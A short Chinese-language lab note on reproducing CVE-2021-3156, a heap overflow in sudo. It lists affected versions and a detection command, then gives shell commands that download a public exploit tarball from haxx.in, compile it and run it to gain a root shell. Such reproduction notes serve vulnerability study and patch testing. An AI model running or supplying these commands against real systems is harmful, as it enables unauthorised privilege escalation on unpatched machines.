CVE-2021-3156 复现

测试环境

• OS: Ubuntu 18.04.5 LTS
• GCC: gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)
• Make: GNU Make 4.1
• EXP: https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
• Sudo : Sudoers I/O plugin version 1.8.21p2

影响版本

Sudo Version 1.8.2 - 1.8.31p2
Sudo Version  1.9.0 - 1.9.5p1

不影响版本

Sudo Version => 1.9.5p2

漏洞检测

sudoedit -s /

受影响的开头是sudoedit, 不受影响的是usage

漏洞复现

wget https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156/
make
./sudo-hax-me-a-sandwich target

当然 也可以一步步的来 我是用;拼接了的

target有0,1，具体单独运行看下就可以 退出ctrl+d or exit都可以的